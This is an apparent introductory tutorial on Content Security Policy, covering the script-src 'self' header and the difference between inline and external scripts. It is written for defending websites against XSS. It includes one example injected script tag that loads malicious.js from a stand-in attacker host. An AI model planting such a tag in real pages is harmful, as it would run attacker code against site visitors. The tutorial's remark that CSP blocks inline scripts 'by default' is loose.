Content Security Policy (CSP) is one powerful setting that helps to defend your website. It particularly defends your site from vulnerabilities such as Cross-Site Scripting (XSS) and data injection attacks. It works by defining which sources of content are allowed to be loaded and executed on your web pages.
How CSP Works
CSP is implemented via HTTP headers or HTML meta tags. There, we simply specify allowed sources for different types of content.
Basic Example of CSP
Letβs start with a simple example. Imagine you have a website and you want to ensure that only scripts from your own domain can run. Hereβs how you can set up a basic CSP:
Content-Security-Policy: script-src 'self'
This policy allows only scripts that come from the same origin as your website to execute.
Inline Scripts
Now comes one of the most important parts: CSP by default blocks inline scripts (unless specifically allowed). What are inline scripts?
Lets show it by example of two ways you can run script on your page.
First example – inline scripts:
<!DOCTYPE html>
<html>
<head>
<title>My Website</title>
</head>
<body>
<h1>Welcome!</h1>
<script>
// Inline script
alert("hi there");
</script>
</body>
</html>
Second example – external script:
Now we will implement the same thing as above, but through an external script “main.js”. Here is its content:
// main.js
alert('hi there');
And then we include our main.js into the main page:
<!DOCTYPE html>
<html>
<head>
<title>My Website</title>
<script src="main.js"></script>
</head>
<body>
<h1>Welcome!</h1>
</body>
</html>
What is the difference between the two examples? They realize the same function. But in the first instance we wrote the script directly into the same page. While in the second example we wrote a separate file for that script and then included that file into the page. First example is called inline scripts. The second one is external script (as the script is in an external file).
By default, CSP blocks all inline scripts. This means that any XSS attacks where you directly inject some scripts into the page – will also be blocked.
Preventing External Script Injections
CSP can also block scripts from unauthorized sources. Letβs say an attacker tries to inject a script from their own server.
<script src="https://attacker-server.com/malicious.js"></script>
This won’t work, because “Content-Security-Policy: script-src ‘self’” the script-src ‘self’ part ensures only scripts from our own site are permitted to be included like that. CSP will check is the attacker-server.com among the allowed domains? Ah no…it’s not. Hence – the external malicious.js won’t be allowed to be run.
Later we will discuss how to bypass it properly.